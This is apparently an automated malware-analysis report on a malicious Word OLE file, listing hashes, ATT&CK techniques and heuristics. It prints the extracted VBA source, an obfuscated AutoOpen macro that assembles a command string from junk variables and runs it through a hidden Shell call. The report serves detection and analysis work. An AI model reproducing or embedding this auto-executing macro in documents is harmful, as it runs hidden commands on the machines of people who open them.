Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0475ae67d8766605…

MALICIOUS

Office (OLE)

100.2 KB First seen: 2019-04-18
MD5: 508ddeedd2c5ff9eb0f6a7932d16fd30 SHA-1: 23b7e44fd70309dea220173a432075929844467a SHA-256: 0475ae67d8766605b8ef9520095fe65c23ca0fecb7a1650b033bc96a17197f31
82 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is an OLE document containing a VBA macro with an AutoOpen subroutine. This macro is designed to execute a shell command, likely to download and run a secondary payload. The obfuscated nature of the script prevents a more detailed analysis of the payload's destination or function.

Heuristics 4

  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1058 bytes
SHA-256: 6bfe7f8dc05a43042f60cedbfd08f53a754ef9e5700802ad97d030c70eed5897
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "mwDiRYBkwsuFz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
   ddHvM = 943
   KHdjdn = kbiFqN
   dvUpBz = Round(45)
   JEiLOZ = ChrB(KTuYJu - QutOc)
RNOqCtXTTZl = "" + RcPMHflpDnlML + AHCBJdDClBo + CVar("cm") + jJbUSRMDO + FpoBDbYACw + wjfzzIuP + JwtHwK + qltazh + pdOcMM + tHoYjDZ + KbLLA + zYiIh + zbNSMHc + cfkbqkkC + NGcRbhvv + zYiGjMYj + zwRczS + lSuQiQ + ViSoVQcXvK + JTPII + LmtwwY + jHMwwrf + tRnbwzTv + wvrdXpU + aiWtcbqYfl + IMtSwTN + FUlNZnWV + tiJYUz + oqvLFRFbOO + SZpsN + cFAvnlSLO + bczZAts + jvhYqId + UILvuz + WpfVkbzK + QmwGAATJVm + MAozvJfEQ + uazPLLDcw + AZmFa + SVzWt + amOSfmi + XvCZQEaKwX + lMqiAwMbYwk + LtIVlYcjtQ + tpAWh + YDUREz + hOZVRQjGwdjPG + fHrKdGoVT
   IOWMaU = fNJjYt
Shell@ RNOqCtXTTZl, 0
   QwDQWl = Hex(JuIwz * stFNlI * 39968 / lDPiaw)
End Sub